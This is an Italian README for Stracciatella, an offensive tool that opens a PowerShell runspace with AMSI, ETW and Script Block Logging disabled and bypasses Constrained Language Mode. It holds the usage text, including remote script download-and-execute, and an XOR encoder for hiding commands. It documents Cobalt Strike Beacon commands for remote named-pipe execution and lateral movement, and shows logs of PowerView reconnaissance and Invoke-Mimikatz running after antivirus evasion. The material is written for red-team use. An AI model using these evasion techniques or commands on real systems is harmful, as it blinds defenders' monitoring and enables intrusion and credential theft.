
Spazio di esecuzione PowerShell sicuro per OpSec da C# (noto come SharpPick) con AMSI, Modalità Linguaggio Vincolato e Registrazione Blocchi Script disabilitati all'avvio.
Runspace di PowerShell da C# (nota come tecnica SharpPick) con AMSI, ETW e Script Block Logging disabilitati per vostro piacere.
Al giorno d'oggi, quando PowerShell è stato severamente strumentato tramite tecniche come:
Gli attaccanti avanzati devono trovare modi per aggirare questi sforzi al fine di condurre esercizi di simulazione avversaria sofisticati. Per aiutare in questi sforzi, è stato creato il seguente progetto.
Questo programma si basa su bypass per tecniche specifiche incluse in:
Le quali a loro volta si basavano sulle seguenti ricerche:
L'idea di SharpPick, cioè lanciare script PowerShell da assembly C# tramite l'uso di Runspaces, non è nuova ed è stata implementata per la prima volta da Lee Christensen (@tifkin_) nel suo:
Inoltre, il codice sorgente prende in prestito l'implementazione di CustomPSHost da Lee.
Questo progetto eredita dalle ricerche di cui sopra e dalla grande comunità della sicurezza per fornire un ambiente PowerShell quasi efficace con le difese disabilitate all'avvio.
Ora si compila facilmente con .NET 4.0 mentre se compilato con .NET Framework 4.7.1+ viene inclusa una funzionalità aggiuntiva che permette di scaricare le DLL che costituiscono gli artefatti del bypass CLM e tenta di eliminarle successivamente (a dire il vero, funziona a malapena).
I migliori risultati si ottengono con Stracciatella compilato con .NET 4.0.
Ci sono un paio di opzioni disponibili:
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x <key>, --xor <key> - Consider input as XOR encoded, where <key> is a one byte key in decimal
(prefix with 0x for hex)
-p <name>, --pipe <name> - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t <millisecs>, --timeout <millisecs>
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintext
Ecco un paio di esempi che presentano casi d'uso:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
Innanzitutto, per preparare istruzioni codificate possiamo usare lo script encoder.py in dotazione, che può essere usato come segue:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command Specifies either a command or script file's path for encoding
optional arguments:
-h, --help show this help message and exit
-x KEY, --xor KEY Specifies command/file XOR encode key (one byte)
-o PATH, --output PATH
(optional) Output file. If not given - will echo output to stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
Poi forniamo l'output di encoder.py come input per un comando codificato per Stracciatella:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
Dove:
Command era composto dai seguenti comandi: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - conteneva: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella è fornito con uno script Aggressor che, quando caricato, espone il comando stracciatella nella console di Beacon. L'uso è molto simile a powerpick (importando in precedenza script PowerShell tramite stracciatella-import). Il parametro di input verrà xorato con una chiave casuale e passato su una Pipe con nome casuale al runspace di Stracciatella.
Sono disponibili i seguenti comandi di Cobalt Strike:
Una delle strategie per lavorare con Stracciatella potrebbe essere quella di configurare un timeout di lettura della pipe sufficientemente lungo (1), lanciarlo su una macchina remota (2) ottenendo così un'opzione per il movimento laterale su named pipe con un piccolo aiuto di Stracciatella.
Il vantaggio rispetto a powerpick è che Stracciatella non patchizza AMSI.dll nel modo in cui fa Powerpick (patch AmsiScanBuffer), generando potenzialmente meno rumore forense percepito dagli EDR che cercano patch in memoria. Inoltre, Stracciatella sarà in grado di bypassare stabilmente Constrained Language Mode, cosa attualmente non possibile con powerpick.:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
Infine, Stracciatella può essere facilmente utilizzato da altri strumenti/C2 che non offrono alcuna funzionalità per eludere le protezioni di PowerShell.
Ogni volta che stracciatella restituisce l'errore 2 (ERROR_FILE_NOT_FOUND), ciò accade perché Stracciatella ha scaduto il timeout mentre attendeva internamente che i dati venissero scritti nella sua named pipe.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
Tuttavia, ciò può essere risolto regolando il parametro di timeout di Stracciatella usando:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
Lo script aggressor associato sfrutta le routine interne di Beacon per scrivere su una pipe con nome casuale, che dall'altra parte sarà ascoltata dalla logica di Stracciatella. L'estremità ricevente attenderà i dati in arrivo per un certo periodo di tempo (parametro --timeout nelle opzioni di Stracciatella, default 60 secondi) e, se non arrivano dati, scadrà e si interromperà dolcemente. Altrimenti, i comandi ricevuti verranno decodificati ed eseguiti come di consueto.
A volte abbiamo script PowerShell che non espongono alcuna funzione o caricano riflessivamente moduli .NET che vorremmo invocare da un runtime PowerShell. Per facilitare questo caso d'uso, può essere usato il comando Beacon stracciatella-script <scriptpath> <command>. Legge il file script PowerShell specificato e vi aggiunge il <command> dato separato da punto e virgola.
Lo script Aggressor (CNA) di Stracciatella rileva se BOF.NET è caricato e, in tal caso, espone un comando:
bofnet_loadstracciatella
Che emette bofnet_load stracciatella.exe. Inoltre, Stracciatella verrà poi eseguito tramite bofnet_jobassembly invece del execute-assembly integrato di Cobalt.
Questo comportamento è regolabile modificando la variabile globale nello script stracciatella.cna:
#
# If there's BOF.NET loaded in Cobalt Strike, prefer `bofnet_jobassembly` command over `execute-assembly`.
# This is useful when we want to switch our tactics to running inline/in-process via BOF.NET instead of fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
Tramite l'uso della reflection, come scoperto da Matt Graeber, ma l'approccio del programma è stato leggermente modificato. Invece di riferirsi ai simboli per nome, come "amsiInitFailed" - li cerchiamo esaminando ogni Assembly, Method, Type e Field disponibile da recuperare in modo riflessivo. Poi disabilitiamo AMSI manipolando le variabili NonPublic e Static nell'assembly Management.Automation. Lo stesso vale per Script Block logging, sebbene in questo caso alcune idee siano state basate sulle ricerche di Ryan Cobb (@cobbr).
In effetti, Stracciatella utilizza la stessa implementazione già trattata nei miei file Disable-*.ps1 menzionati sopra.
Inoltre, non tentiamo di patchizzare amsi.dll, è un po' troppo rumoroso e potrebbe essere in un futuro prossimo attentamente monitorato da EDR/HIPS/AV. Corrompere l'integrità delle librerie di sistema perde sicuramente terreno rispetto alla manomissione delle variabili riflessive.
Invoke-Mimikatz, per favore?Certo, eccoti servito:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
Attualmente, il modo in cui Stracciatella fornisce il runspace per i comandi PowerShell non è dei più furtivi. In pratica creiamo un runspace PowerShell, che carica il corrispondente assembly .NET. Questo potrebbe essere considerato un indicatore che il processo di Stracciatella è in qualche modo sospetto.
Questo e altri progetti sono frutto di notti insonni e molto duro lavoro. Se ti piace ciò che faccio e apprezzi che io dia sempre qualcosa alla comunità, Considera di offrirmi un caffè (o meglio una birra) solo per dire grazie! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Cobalt Strike command | Descrizione |
|---|
stracciatella [-v] <command> | esegue i comandi forniti |
stracciatella-remote [-v] <machine> <pipename> <command> | esegue i comandi forniti su una macchina remota su una pipe specificata |
stracciatella-import <scriptpath> | importa uno script PowerShell per l'uso con Stracciatella |
stracciatella-script <scriptpath> <command> | precarica un comando PowerShell con uno script PowerShell specificato (ps1) (combinazione di stracciatella-import e stracciatella in una singola operazione) |
stracciatella-clear | cancella lo script importato su quel Beacon |
stracciatella-timeout <milliseconds> | regola il timeout di lettura predefinito della pipe con nome |
bofnet_loadstracciatella | carica Stracciatella.exe in BOF.NET (se ne viene usato uno) |
bofnet_stracciatella <command> | (non bloccante) Esegue comandi PowerShell in un runspace sicuro di Stracciatella tramite BOF.NET bofnet_jobassembly |
bofnet_executestracciatella <command> | (bloccante) Esegue comandi PowerShell in un runspace sicuro di Stracciatella tramite BOF.NET bofnet_executeassembly |
bofnet_stracciatella_script <scriptpath> <command> | Precarica uno script PowerShell specificato e lancia il comando dato con parametri (tramite BOF.NET) |